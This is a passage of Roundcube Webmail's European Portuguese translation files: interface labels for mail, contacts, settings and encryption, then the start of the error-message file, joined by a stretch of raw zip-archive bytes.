$labels['select'] = 'Selecionar';
$labels['selection'] = 'Selecção';
$labels['all'] = 'Todas';
$labels['none'] = 'Nenhum';
$labels['currpage'] = 'Página atual';
$labels['isread'] = 'Ler';
$labels['unread'] = 'Não lidas';
$labels['flagged'] = 'Sinalizadas';
$labels['unflagged'] = 'Não sinalizado';
$labels['unanswered'] = 'Não respondidas';
$labels['withattachment'] = 'Com anexo';
$labels['deleted'] = 'Eliminadas';
$labels['undeleted'] = 'Não eliminada';
$labels['replied'] = 'Respondido';
$labels['forwarded'] = 'Reencaminhado';
$labels['invert'] = 'Inverter seleção';
$labels['filter'] = 'Filtro';
$labels['list'] = 'Em lista';
$labels['threads'] = 'Tópicos';
$labels['expand-all'] = 'Expandir tudo';
$labels['expand-unread'] = 'Expandir não lidas';
$labels['collapse-all'] = 'Recolher tudo';
$labels['threaded'] = 'Por tópicos';
$labels['showunread'] = 'Mostrar mensagens não lidas';
$labels['autoexpand_threads'] = 'Expandir tópicos das mensagens';
$labels['do_expand'] = 'todos os tópicos';
$labels['expand_only_unread'] = 'só com mensagens não lidas';
$labels['fromto'] = 'De/Para';
$labels['flag'] = 'Sinalizar';
$labels['attachment'] = 'Anexo';
$labels['nonesort'] = 'Nenhum';
$labels['sentdate'] = 'Data de envio';
$labels['arrival'] = 'Data de receção';
$labels['asc'] = 'crescente';
$labels['desc'] = 'decrescente';
$labels['listcolumns'] = 'Lista de colunas';
$labels['listsorting'] = 'Ordenar por';
$labels['listorder'] = 'Ordenação';
$labels['listmode'] = 'Modo de visualização';
$labels['lmode'] = 'Modo de lista';
$labels['layout'] = 'Modelo';
$labels['layoutwidescreen'] = 'Panorâmico';
$labels['layoutdesktop'] = 'Área de Trabalho';
$labels['layoutlist'] = 'Lista';
$labels['layoutwidescreendesc'] = 'Widescreen (vista de 3 colunas)';
$labels['layoutdesktopdesc'] = 'Área de trabalho (lista ampla e pré-visualização da mensagem abaixo)';
$labels['layoutlistdesc'] = 'Lista (sem pré-visualização da mensagem)';
$labels['folderactions'] = 'Ações para pastas...';
$labels['compact'] = 'Compactar';
$labels['empty'] = 'Esvaziar';
$labels['importmessages'] = 'Importar mensagens';
$labels['mailimportdesc'] = 'Pode carregar emails usando ficheiros no formato <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> ou <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'Vários ficheiros podem ser compactados em arquivos zip.';
$labels['quota'] = 'Espaço utilizado';
$labels['unknown'] = 'desconhecido';
$labels['unlimited'] = 'ilimitado';
$labels['quotatype'] = 'Tipo de cota';
$labels['quotatotal'] = 'Limite';
$labels['quotaused'] = 'Usado';
$labels['quotastorage'] = 'Espaço em disco';
$labels['quotamessage'] = 'Número de mensagens';
$labels['shortheaderdate'] = 'Em $date';
$labels['shortheaderto'] = 'Para $to em $date';
$labels['shortheaderfrom'] = 'De $from em $date
';
$labels['quicksearch'] = 'Pesquisa rápida';
$labels['searchplaceholder'] = 'Pesquisar...';
$labels['resetsearch'] = 'Limpar pesquisa';
$labels['searchmod'] = 'Modificadores de pesquisa';
$labels['msgtext'] = 'Mensagem completa';
$labels['body'] = 'Corpo';
$labels['type'] = 'Tipo';
$labels['namex'] = 'Nome';
$labels['searchscope'] = 'Âmbito';
$labels['currentfolder'] = 'Pasta atual';
$labels['subfolders'] = 'Esta pasta e subpastas';
$labels['allfolders'] = 'Todas as pastas';
$labels['searchinterval-1W'] = 'Com mais de uma semana';
$labels['searchinterval-1M'] = 'Com mais de um mês';
$labels['searchinterval-1Y'] = 'Com mais de um ano';
$labels['searchinterval1W'] = 'Com menos de uma semana';
$labels['searchinterval1M'] = 'Com menos de um mês';
$labels['searchinterval1Y'] = 'Com menos de um ano';
$labels['openinextwin'] = 'Abrir numa nova janela';
$labels['emlsave'] = 'Descarregar (formato .eml)';
$labels['changeformattext'] = 'Mostrar em formato de texto simples';
$labels['changeformathtml'] = 'Mostrar em formato HTML';
$labels['editasnew'] = 'Editar como nova';
$labels['send'] = 'Enviar';
$labels['sendmessage'] = 'Enviar';
$labels['savemessage'] = 'Guardar como rascunho';
$labels['addattachment'] = 'Adicionar anexo';
$labels['charset'] = 'Charset';
$labels['editortype'] = 'Tipo de editor';
$labels['returnreceipt'] = 'Recibo de leitura';
$labels['dsn'] = 'Recibo de entrega';
$labels['keepformatting'] = 'Manter formatação';
$labels['mailreplyintro'] = 'A $date, $sender escreveu:';
$labels['originalmessage'] = 'Mensagem original';
$labels['selectimage'] = 'Selecionar imagem';
$labels['addimage'] = 'Adicionar imagem';
$labels['selectmedia'] = 'Selecionar filme';
$labels['addmedia'] = 'Adicionar filme';
$labels['encrypt'] = 'Encriptar';
$labels['encryptmessage'] = 'Encriptar mensagem';
$labels['encryptmessagemailvelope'] = 'Encriptar mensagem com Mailvelope';
$labels['importpubkeys'] = 'Importar chaves públicas';
$labels['encryptedsendialog'] = 'A enviar mensagem encriptada';
$labels['encryptandsign'] = 'Encriptar e assinar';
$labels['keyid'] = 'ID da chave';
$labels['keylength'] = 'Bits';
$labels['keyexpired'] = 'Expirada';
$labels['keyrevoked'] = 'Revogada';
$labels['bccinstead'] = 'Usar Bcc';
$labels['addheader'] = 'Adicionar destinatário (cabeçalho)';
$labels['insert'] = 'Inserir';
$labels['insertcontact'] = 'Inserir contacto(s)';
$labels['recipient'] = 'Destinatário';
$labels['recipientedit'] = 'Editar destinatário';
$labels['editidents'] = 'Editar entidades';
$labels['spellcheck'] = 'Ortografia';
$labels['checkspelling'] = 'Verificar ortografia';
$labels['resumeediting'] = 'Continuar edição';
$labels['revertto'] = 'Reverter para';
$labels['restore'] = 'Restaurar';
$labels['restoremessage'] = 'Restaurar mensagem?';
$labels['ignore'] = 'Ignorar';
$labels['responses'] = 'Respostas';
$labels['insertresponse'] = 'Insira uma resposta';
$labels['manageresponses'] = 'Gerir respostas';
$labels['newresponse'] = 'Criar nova resposta';
$labels['addresponse'] = 'Adicionar resposta';
$labels['editresponse'] = 'Editar resposta';
$labels['editresponses'] = 'Editar respostas';
$labels['responsename'] = 'Nome';
$labels['responsetext'] = 'Texto da resposta';
$labels['attach'] = 'Anexar';
$labels['attachments'] = 'Anexos';
$labels['upload'] = 'Carregar';
$labels['uploadprogress'] = '$percent ($current de $total)';
$labels['close'] = 'Fechar';
$labels['messageoptions'] = 'Opções de mensagens...';
$labels['togglecomposeoptions'] = 'Alternar opções de composição';
$labels['attachmentrename'] = 'Renomear anexo';
$labels['low'] = 'Baixa';
$labels['lowest'] = 'Muito baixa';
$labels['normal'] = 'Normal';
$labels['high'] = 'Alta';
$labels['highest'] = 'Muito alta';
$labels['nosubject'] = '(sem assunto)';
$labels['showimages'] = 'Mostrar imagens';
$labels['allow'] = 'Permitir';
$labels['alwaysshow'] = 'Mostrar sempre as imagens de $sender';
$labels['alwaysallow'] = 'Permitir sempre de $sender';
$labels['isdraft'] = 'Esta é uma mensagem de rascunho.';
$labels['andnmore'] = '$nr mais...';
$labels['details'] = 'Detalhes';
$labels['summary'] = 'Resumo';
$labels['headers'] = 'Cabeçalhos';
$labels['allheaders'] = 'Todos os cabeçalhos';
$labels['togglemoreheaders'] = 'Mostrar cabeçalhos adicionais da mensagem';
$labels['togglefullheaders'] = 'Mostrar cabeçalho original da mensagem';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Texto simples';
$labels['savesentmessagein'] = 'Guardar mensagem enviada em';
$labels['dontsave'] = 'não guardar';
$labels['maxuploadsize'] = 'Tamanho máximo permitido do ficheiro é $size';
$labels['addcc'] = 'Adicionar Cc';
$labels['addbcc'] = 'Adicionar Bcc';
$labels['addreplyto'] = 'Adicionar Responder a';
$labels['addfollowupto'] = 'Adicionar No seguimento de';
$labels['sendreceipt'] = 'Enviar recibo de leitura?';
$labels['mdnrequest'] = 'O remetente desta mensagem pediu para ser notificado quando esta mensagem fosse lida. Deseja enviar uma notificação?';
$labels['receiptread'] = 'Recibo de leitura';
$labels['yourmessage'] = 'Isto é um recibo de leitura da sua mensagem';
$labels['receiptnote'] = 'Nota: este recibo apenas indica que a mensagem foi aberta pelo destinatário. Não garante que a mensagem foi lida ou compreendida.';
$labels['sendalwaysto'] = 'Enviar sempre para $email';
$labels['zoomin'] = 'Ampliar';
$labels['zoomout'] = 'Reduzir';
$labels['rotate'] = 'Rodar';
$labels['increaseimage'] = 'Aumentar tamanho da imagem';
$labels['decreaseimage'] = 'Reduzir tamanho da imagem';
$labels['rotateimage'] = 'Rodar imagem';
$labels['showtools'] = 'Mostrar ferramentas de imagem';
$labels['hidetools'] = 'Ocultar ferramentas de imagem';
$labels['name'] = 'Nome exibido';
$labels['firstname'] = 'Primeiro nome';
$labels['surname'] = 'Apelido';
$labels['middlename'] = 'Outros nomes';
$labels['nameprefix'] = 'Título';
$labels['namesuffix'] = 'Sufixo';
$labels['nickname'] = 'Pseudónimo';
$labels['jobtitle'] = 'Cargo';
$labels['department'] = 'Departamento';
$labels['gender'] = 'Género';
$labels['maidenname'] = 'Nome solteiro';
$labels['email'] = 'Email';
$labels['phone'] = 'Telefone';
$labels['address'] = 'Endereço';
$labels['street'] = 'Rua';
$labels['locality'] = 'Cidade';
$labels['zipcode'] = 'Código postal';
$labels['region'] = 'Concelho';
$labels['country'] = 'País';
$labels['birthday'] = 'Data de nascimento';
$labels['anniversary'] = 'Aniversário';
$labels['website'] = 'Página web';
$labels['instantmessenger'] = 'Endereço IM';
$labels['notes'] = 'Notas';
$labels['male'] = 'masculino';
$labels['female'] = 'feminino';
$labels['manager'] = 'Gestor';
$labels['assistant'] = 'Assistente';
$labels['spouse'] = 'Cônjuge';
$labels['allfields'] = 'Todos os campos';
$labels['search'] = 'Pesquisar';
$labels['searchresult'] = 'Resultado da pesquisa';
$labels['advsearch'] = 'Pesquisa avançada';
$labels['advanced'] = 'Pesquisa avançada';
$labels['other'] = 'Outro';
$labels['printcontact'] = 'Imprimir contacto';
$labels['qrcode'] = 'Código QR';
$labels['typehome'] = 'Casa';
$labels['typework'] = 'Trabalho';
$labels['typeother'] = 'Outro';
$labels['typemobile'] = 'Telemóvel';
$labels['typemain'] = 'Principal';
$labels['typehomefax'] = 'Fax da residência';
$labels['typeworkfax'] = 'Fax da empresa';
$labels['typecar'] = 'Carro';
$labels['typepager'] = 'Pager';
$labels['typevideo'] = 'Vídeo';
$labels['typeassistant'] = 'Assistente';
$labels['typehomepage'] = 'Página Inicial';
$labels['typeblog'] = 'Blogue';
$labels['typeprofile'] = 'Perfil';
$labels['addfield'] = 'Adicionar campo...';
$labels['addcontact'] = 'Adicionar contacto';
$labels['editcontact'] = 'Editar contacto';
$labels['contacts'] = 'Contactos';
$labels['contactproperties'] = 'Dados do contacto';
$labels['contactnameandorg'] = 'Nome da Organização';
$labels['personalinfo'] = 'Informação pessoal';
$labels['personal'] = 'Pessoal';
$labels['contactphoto'] = 'Foto do contacto';
$labels['edit'] = 'Editar';
$labels['cancel'] = 'Cancelar';
$labels['save'] = 'Guardar';
$labels['delete'] = 'Eliminar';
$labels['discard'] = 'Rejeitar';
$labels['continue'] = 'Continuar';
$labels['ok'] = 'OK';
$labels['rename'] = 'Renomear';
$labels['addphoto'] = 'Adicionar';
$labels['replacephoto'] = 'Substituir';
$labels['uploadphoto'] = 'Carregar foto';
$labels['choosefile'] = 'Escolher ficheiro...';
$labels['choosefiles'] = 'Escolher ficheiros...';
$labels['browse'] = 'Procurar';
$labels['newcontact'] = 'Criar novo contacto';
$labels['deletecontact'] = 'Eliminar contacto(s) selecionado(s)';
$labels['composeto'] = 'Nova mensagem para';
$labels['contactsfromto'] = 'Contactos $from - $to de $count';
$labels['print'] = 'Imprimir';
$labels['export'] = 'Exportar';
$labels['exportall'] = 'Exportar todos';
$labels['exportsel'] = 'Exportar selecionados';
$labels['exportvcards'] = 'Exportar contactos no formato vCard';
$labels['newgroup'] = 'Criar novo grupo';
$labels['addgroup'] = 'Adicionar grupo';
$labels['grouprename'] = 'Renomear grupo';
$labels['groupdelete'] = 'Eliminar grupo';
$labels['groupassign'] = 'Atribuir a grupo...';
$labels['groupremove'] = 'Remover do grupo';
$labels['groupremoveselected'] = 'Remover o(s) contacto(s) selecionado(s) do grupo';
$labels['uponelevel'] = 'Um nível acima';
$labels['previouspage'] = 'Página anterior';
$labels['firstpage'] = 'Primeira página';
$labels['nextpage'] = 'Página seguinte';
$labels['lastpage'] = 'Última página';
$labels['group'] = 'Grupo';
$labels['groups'] = 'Grupos';
$labels['listgroup'] = 'Lista de membros do grupo';
$labels['personaladrbook'] = 'Endereços pessoais';
$labels['searchsave'] = 'Guardar pesquisa';
$labels['searchdelete'] = 'Eliminar pesquisa';
$labels['import'] = 'Importar';
$labels['importcontacts'] = 'Importar contactos';
$labels['importfromfile'] = 'Importar do ficheiro';
$labels['importtarget'] = 'Adicionar contactos a';
$labels['importreplace'] = 'Substituir todo o livro de endereços.';
$labels['importgroups'] = 'Importar atribuições de grupo';
$labels['importgroupsall'] = 'Todos (criar grupos se necessário)';
$labels['importgroupsexisting'] = 'Apenas para grupos existentes';
$labels['importdesc'] = 'Pode carregar contactos de um livro de endereços existente.<br/>Actualmente, suportamos a importação de endereços no formato de dados <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> ou CSV (separados por vírgulas).';
$labels['importmapdesc'] = 'Confirme se a informação de mapeamento dos campos abaixo estão corretas antes de prosseguir com a importação de dados CSV (separado por vírgula).';
$labels['fieldnotmapped'] = 'Campo não mapeado (não importar)';
$labels['skipheader'] = 'Não importar a primeira linha (cabeçalhos)';
$labels['done'] = 'Concluído';
$labels['settingsfor'] = 'Configurações para';
$labels['about'] = 'Acerca';
$labels['preferences'] = 'Preferências';
$labels['userpreferences'] = 'Preferências do utilizador';
$labels['editpreferences'] = 'Editar preferências do utilizador';
$labels['identities'] = 'Identidades';
$labels['manageidentities'] = 'Gerir identidades';
$labels['newidentity'] = 'Criar nova identidade';
$labels['addidentity'] = 'Adicionar identidade';
$labels['editidentity'] = 'Editar identidade';
$labels['identityencryption'] = 'Encriptação';
$labels['preferhtml'] = 'Mostrar mensagens em HTML';
$labels['defaultcharset'] = 'Conjunto de caracteres predefinido';
$labels['htmlmessage'] = 'Mensagem em HTML';
$labels['messagepart'] = 'Parte';
$labels['digitalsig'] = 'Assinatura digital';
$labels['dateformat'] = 'Formato da data';
$labels['timeformat'] = 'Formato da hora';
$labels['prettydate'] = 'Formatar datas';
$labels['setdefault'] = 'Marcar como predefinido';
$labels['autodetect'] = 'Auto';
$labels['language'] = 'Idioma';
$labels['timezone'] = 'Fuso horário';
$labels['pagesize'] = 'Linhas por página';
$labels['signature'] = 'Assinatura';
$labels['dstactive'] = 'Horário de verão';
$labels['showinextwin'] = 'Abrir mensagem numa nova janela';
$labels['composeextwin'] = 'Compor numa nova janela';
$labels['htmleditor'] = 'Escrever mensagens em HTML';
$labels['htmlonreply'] = 'apenas em resposta a mensagens HTML';
$labels['htmlonreplyandforward'] = 'no reencaminhamento ou resposta de mensagem em HTML';
$labels['htmlsignature'] = 'Assinatura em HTML';
$labels['showemail'] = 'Mostrar endereço de email com o nome a exibir';
$labels['previewpane'] = 'Mostrar pré-visualização';
$labels['skin'] = 'Visual da interface';
$labels['logoutclear'] = 'Esvaziar reciclagem ao sair';
$labels['logoutcompact'] = 'Compactar Caixa de entrada ao sair';
$labels['uisettings'] = 'Interface do utilizador';
$labels['serversettings'] = 'Definições do servidor';
$labels['mailboxview'] = 'Visualização da Caixa de entrada';
$labels['mdnrequests'] = 'Enviar notificações';
$labels['askuser'] = 'perguntar';
$labels['autosend'] = 'enviar recibo de leitura';
$labels['autosendknown'] = 'enviar recibo de leitura apenas para os meus contactos';
$labels['autosendknownignore'] = 'enviar recibo para os meus contactos, caso contrário, ignorar';
$labels['autosendtrusted'] = 'enviar recibo para remetentes confiáveis, caso contrário, pergunte-me';
$labels['autosendtrustedignore'] = 'enviar recibo para remetentes confiáveis, caso contrário, ignorar';
$labels['ignorerequest'] = 'ignorar pedido';
$labels['readwhendeleted'] = 'Marcar a mensagem como lida, ao eliminar';
$labels['flagfordeletion'] = 'Marcar a mensagem para eliminação em vez de a eliminar';
$labels['skipdeleted'] = 'Não mostrar mensagens eliminadas';
$labels['deletealways'] = 'Se ao mover mensagens para a reciclagem falhar, eliminá-las';
$labels['deletejunk'] = 'Eliminar diretamente as mensagens no Spam';
$labels['showremoteimages'] = 'Mostrar imagens externas';
$labels['allowremoteresources'] = 'Permitir recursos remotos (imagens, estilos)';
$labels['fromknownsenders'] = 'de remetentes conhecidos';
$labels['fromtrustedsenders'] = 'de remetentes confiáveis';
$labels['frommycontacts'] = 'dos meus contactos';
$labels['always'] = 'sempre';
$labels['alwaysbutplain'] = 'sempre, exceto quando responder a texto simples';
$labels['showinlineimages'] = 'Mostrar imagens anexadas abaixo da mensagem';
$labels['autosavedraft'] = 'Guardar rascunho automaticamente';
$labels['everynminutes'] = 'a cada $n minuto(s)';
$labels['refreshinterval'] = 'Atualizar (verificar por novas mensagens, etc.)';
$labels['never'] = 'nunca';
$labels['immediately'] = 'imediatamente';
$labels['messagesdisplaying'] = 'Visualização de mensagens';
$labels['messagescomposition'] = 'Composição de mensagens';
$labels['mimeparamfolding'] = 'Nome dos anexos';
$labels['2231folding'] = 'Total RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Total RFC 2047 (outro)';
$labels['force7bit'] = 'Usar codificação MIME para caracteres de 8 bits';
$labels['savelocalstorage'] = "Guardado no armazenamento local do navegador (temporariamente)";
$labels['advancedoptions'] = 'Opções avançadas';
$labels['toggleadvancedoptions'] = 'Alternar opções de avançadas';
$labels['focusonnewmessage'] = 'Ativar a janela do navegador na nova mensagem';
$labels['checkallfolders'] = 'Verificar por novas mensagens em todas as pastas';
$labels['displaynext'] = 'Mostrar próxima entrada da lista após eliminar/mover';
$labels['defaultfont'] = 'Tipo de letra padrão para mensagens HTML';
$labels['mainoptions'] = 'Opções';
$labels['browseroptions'] = 'Opções do browser';
$labels['section'] = 'Secção';
$labels['maintenance'] = 'Manutenção';
$labels['newmessage'] = 'Nova mensagem';
$labels['signatureoptions'] = 'Opções de assinatura';
$labels['whenreplying'] = 'Ao responder';
$labels['replyempty'] = 'Não incluir a mensagem original';
$labels['replytopposting'] = 'iniciar mensagem acima da original';
$labels['replytoppostingnoindent'] = 'Iniciar nova mensagem acima das citações (sem recuo)';
$labels['replybottomposting'] = 'iniciar mensagem abaixo da original';
$labels['replyremovesignature'] = 'Ao responder, remover a assinatura original da mensagem';
$labels['autoaddsignature'] = 'Adicionar assinatura automaticamente';
$labels['newmessageonly'] = 'apenas em novas mensagens';
$labels['replyandforwardonly'] = 'apenas em respostas e reenvios';
$labels['insertsignature'] = 'Inserir assinatura';
$labels['sigbelow'] = 'Colocar assinatura abaixo da mensagem citada';
$labels['sigseparator'] = 'Forçar separador padrão nas assinaturas';
$labels['automarkread'] = 'Marcar mensagens como lidas';
$labels['afternseconds'] = 'após $n segundos';
$labels['reqmdn'] = 'Pedir sempre um recibo de leitura';
$labels['reqdsn'] = 'Pedir sempre um recibo de entrega';
$labels['replysamefolder'] = 'Guardar respostas na mesma pasta da mensagem original';
$labels['defaultabook'] = 'Livro de endereços padrão';
$labels['autocompletesingle'] = 'Ignorar endereços de email alternativos no preenchimento automático';
$labels['listnamedisplay'] = 'Listar contactos como';
$labels['contactformmode'] = 'Modo de formulário do contacto';
$labels['privatemode'] = 'Privado (Casa)';
$labels['businessmode'] = 'Empresarial (Trabalho)';
$labels['collectedaddresses'] = 'Endereços recolhidos';
$labels['collectedrecipients'] = 'Destinatários recolhidos';
$labels['collectedrecipientsopt'] = 'Armazenar destinatários de email em';
$labels['collectedsendersopt'] = 'Armazenar remetentes de confiança em';
$labels['trustedsenders'] = 'Remetentes de confiança';
$labels['spellcheckbeforesend'] = 'Verificar ortografia antes de enviar a mensagem';
$labels['spellcheckoptions'] = 'Opções de verificação ortográfica';
$labels['spellcheckignoresyms'] = 'Ignorar palavras com símbolos';
$labels['spellcheckignorenums'] = 'Ignorar palavras com números';
$labels['spellcheckignorecaps'] = 'Ignorar palavras em maiúsculas';
$labels['addtodict'] = 'Adicionar ao dicionário';
$labels['mailtoprotohandler'] = 'Registar manipulador de protocolo para mailto: links';
$labels['standardwindows'] = 'Lidar com popups como janelas padrão';
$labels['forwardmode'] = 'Reencaminhamento de mensagens';
$labels['inline'] = 'em linha';
$labels['asattachment'] = 'como anexo';
$labels['replyallmode'] = 'Ação predefinida do botão [Responder a todos]';
$labels['replyalldefault'] = 'responder a todos';
$labels['replyalllist'] = 'responder só à lista de discussão (se identificada)';
$labels['allmessages'] = 'todas as mensagens';
$labels['olderxdays'] = 'com mais de $x dias';
$labels['folder'] = 'Pasta';
$labels['folders'] = 'Pastas';
$labels['foldername'] = 'Nome da pasta';
$labels['subscribed'] = 'Subscrita';
$labels['messagecount'] = 'Mensagens';
$labels['create'] = 'Criar';
$labels['createfolder'] = 'Criar pasta';
$labels['managefolders'] = 'Gerir pastas';
$labels['specialfolders'] = 'Pastas especiais (predefinidas)';
$labels['properties'] = 'Propriedades';
$labels['folderproperties'] = 'Propriedades da pasta';
$labels['parentfolder'] = 'Pasta de origem';
$labels['location'] = 'Localização';
$labels['info'] = 'Informação';
$labels['getfoldersize'] = 'Clique para obter o tamanho da pasta';
$labels['changesubscription'] = 'Clique para alterar a subscrição';
$labels['foldertype'] = 'Tipo de pasta';
$labels['personalfolder'] = 'Pasta privada';
$labels['otherfolder'] = 'Outro tipo de pasta';
$labels['sharedfolder'] = 'Pasta pública';
$labels['findfolders'] = 'Localizar pastas';
$labels['findcontacts'] = 'Encontrar contactos';
$labels['findmail'] = 'Encontrar mensagens de correio';
$labels['namespace.personal'] = 'Pessoal';
$labels['namespace.other'] = 'Outros utilizadores';
$labels['namespace.shared'] = 'Partilhado';
$labels['dualuselabel'] = 'Apenas pode conter';
$labels['dualusemail'] = 'mensagens';
$labels['dualusefolder'] = 'pastas';
$labels['generate'] = 'Gerar';
$labels['encryptioncreatekey'] = 'Criar um novo par de chaves';
$labels['openmailvelopesettings'] = 'Abrir configurações do Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'Tem $nr correspondências de chaves privadas armazenadas no porta-chaves do seu Mailvelope:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Esta identidade do remetente ainda não possui uma chave PGP privada armazenada na sua extensão Mailvelope. Gostaria de criar uma para ativar a mensagem encriptada?';
$labels['encryption'] = 'Encriptação';
$labels['mailvelopeoptions'] = 'Opções do Mailvelope';
$labels['mailvelopemainkeyring'] = 'Usar porta-chaves principal do Mailvelope';
$labels['mailvelopenotfound'] = 'A extensão do Mailvelope não está activada/instalada no seu navegador.';
$labels['sortby'] = 'Ordenar por';
$labels['sortasc'] = 'Ordenação crescente';
$labels['sortdesc'] = 'Ordenação decrescente';
$labels['undo'] = 'Anular';
$labels['installedplugins'] = 'Plugins instalados';
$labels['plugin'] = 'Plugin';
$labels['version'] = 'Versão';
$labels['source'] = 'Fonte';
$labels['destination'] = 'Destino';
$labels['license'] = 'Licença';
$labels['support'] = 'Obter suporte';
$labels['savedsearches'] = 'Pesquisas guardadas';
$labels['dateformatY'] = 'AAAA';
$labels['dateformaty'] = 'AA';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Inglês';
$labels['westerneuropean'] = 'Europa Ocidental';
$labels['easterneuropean'] = 'Europa Leste';
$labels['southeasterneuropean'] = 'Sudeste Europeu';
$labels['baltic'] = 'Báltico';
$labels['cyrillic'] = 'Cirílico';
$labels['arabic'] = 'Árabe';
$labels['greek'] = 'Grego';
$labels['hebrew'] = 'Hebraico';
$labels['turkish'] = 'Turno';
$labels['nordic'] = 'Nórdico';
$labels['thai'] = 'Tailandês';
$labels['celtic'] = 'Céltico';
$labels['vietnamese'] = 'Vietnamita';
$labels['japanese'] = 'Japonês';
$labels['korean'] = 'Coreano';
$labels['chinese'] = 'Chinês';
$labels['arialabeltopnav'] = 'Controlo de janela';
$labels['arialabeltasknav'] = 'Tarefas da aplicação';
$labels['arialabeltoolbar'] = 'Barra de ferramentas da aplicação';
$labels['arialabellistnav'] = 'Navegação na lista';
$labels['arialabelactivetask'] = 'Tarefa ativa';
$labels['arialabelmessagessearchfilter'] = 'Filtro da listagem de email';
$labels['arialabelmailsearchform'] = 'Formulário de pesquisa email';
$labels['arialabelcontactsearchform'] = 'Formulário de pesquisa de contactos';
$labels['arialabelmailquicksearchbox'] = 'Entrada da pesquisa de email';
$labels['arialabelquicksearchbox'] = 'Entrada da pesquisa';
$labels['arialabelfoldersearchfilter'] = 'Lista de filtro de pasta';
$labels['arialabelfoldersearchform'] = 'Formulário de pesquisa de pasta';
$labels['arialabelfolderlist'] = 'Seleção de pasta de email';
$labels['arialabelmessagelist'] = 'Listagem de mensagens de email';
$labels['arialabelmailpreviewframe'] = 'Pré-visualizar mensagem';
$labels['arialabelmailboxmenu'] = 'Menu de ações de pasta';
$labels['arialabellistselectmenu'] = 'Menu de seleção de lista';
$labels['arialabelthreadselectmenu'] = 'Menu de listagem de tópicos';
$labels['arialabelmessagelistoptions'] = 'Visualização da lista de mensagens e opções de ordenação';
$labels['arialabelmailimportdialog'] = 'Janela de importação de mensagens';
$labels['arialabelmessagenav'] = 'Navegação nas mensagens';
$labels['arialabelmessagebody'] = 'Corpo da mensagem';
$labels['arialabelmessageactions'] = 'Ações de mensagem';
$labels['arialabelcontactquicksearch'] = 'Formulário de pesquisa de contactos';
$labels['arialabelcontactsearchbox'] = 'Entrada da pesquisa de contacto';
$labels['arialabelmessageheaders'] = 'Cabeçalhos da mensagem';
$labels['arialabelforwardingoptions'] = 'Opções de reencaminhamento';
$labels['arialabelreplyalloptions'] = 'Opções de responder a todos';
$labels['arialabelmoremessageactions'] = 'Mais ações de mensagens';
$labels['arialabelmorecontactactions'] = 'Mais ações do contacto';
$labels['arialabelmarkmessagesas'] = 'Marcar mensagens selecionadas como...';
$labels['arialabelcomposeoptions'] = 'Opções de composição';
$labels['arialabelresponsesmenu'] = 'Menu de respostas tipo';
$labels['arialabelattachmentuploadform'] = 'Formulário de envio de anexos';
$labels['arialabelattachmentmenu'] = 'Opções de anexos';
$labels['arialabelmailtomenu'] = 'Opções de endereço de email';
$labels['arialabelattachmentpreview'] = 'Pré-visualização de anexos';
$labels['ariasummarycomposecontacts'] = 'Lista de contactos e grupos para selecionar como destinatários';
$labels['arialabelcontactexportoptions'] = 'Opções de exportação de contacto';
$labels['arialabelabookgroupoptions'] = 'Opções do livro de endereços/grupos';
$labels['arialabelpreferencesform'] = 'Formulário de preferências';
$labels['arialabelidentityeditfrom'] = 'Formulário de edição de identidade';
$labels['arialabelresponseeditfrom'] = 'Formulário de edição de resposta';
$labels['arialabelsearchterms'] = 'Termos de pesquisa';
$labels['arialabeldropactionmenu'] = 'Menu de ação Arrastar e Largar';
$labels['arialabelheadersmenu'] = 'Destinatário (cabeçalho) a adicionar menu';
$labels['arialabelimagetools'] = 'Ferramentas de imagem';
$labels['helplistnavigation'] = 'Lista de teclas de navegação';
$labels['helplistkeyboardnavigation'] = "Setas cima/baixo: Move linha de realce/seleção.
Espaço: Seleciona linha realçada.
Shift + cima/baixo: Seleciona linha adicional acima/abaixo.
Ctrl + Espaço: Adiciona linha realçada à seleção/remove da seleção.";
$labels['helplistkeyboardnavmessages'] = "Setas direita/esquerda: Expande/recolhe tópicos de mensagens (só no modo de tópicos).
Enter: Abre a mensagem selecionada/realçada.
Delete: Move as mensagens selecionadas para a Reciclagem.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Abre o contacto selecionado/realçado. ";
PK
h�\�hvIvI'program/localization/pt_PT/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Ocorreu um erro!';
$messages['loginfailed']  = 'Falha na autenticação.';
$messages['cookiesdisabled'] = 'O seu navegador não está a aceitar cookies.';
$messages['sessionerror'] = 'A sua sessão é inválida ou expirou.';
$messages['cookiesmismatch'] = 'Foram detetadas incongruências nos cookies. Por favor limpe os cookies no seu navegador.';
$messages['storageerror'] = 'A ligação ao servidor IMAP falhou.';
$messages['servererror'] = 'Erro do servidor!';
$messages['servererrormsg'] = 'Erro do servidor: $msg';
$messages['accountlocked'] = 'Foram feitas demasiadas tentativas de autenticação falhadas. Tente novamente mais tarde.';
$messages['connerror'] = 'Erro de ligação (não foi possível alcançar o servidor)!';
$messages['dberror'] = 'Erro na base de dados!';
$messages['dbconnerror'] = 'Não foi possível conectar à base de dados!';
$messages['windowopenerror'] = 'A janela pop-up foi bloqueada!';
$messages['requesttimedout'] = 'Foi excedido o tempo limite de resposta';
$messages['errorreadonly'] = 'Não foi possível efetuar a operação. A pasta é só de leitura.';
$messages['errornoperm'] = 'Não tem permissões para efetuar esta operação.';
$messages['erroroverquota'] = 'Não foi possível executar a operação. Não há espaço livre em disco.';
$messages['erroroverquotadelete'] = 'Não há espaço livre em disco. Use SHIFT + DEL para eliminar algumas mensagens.';
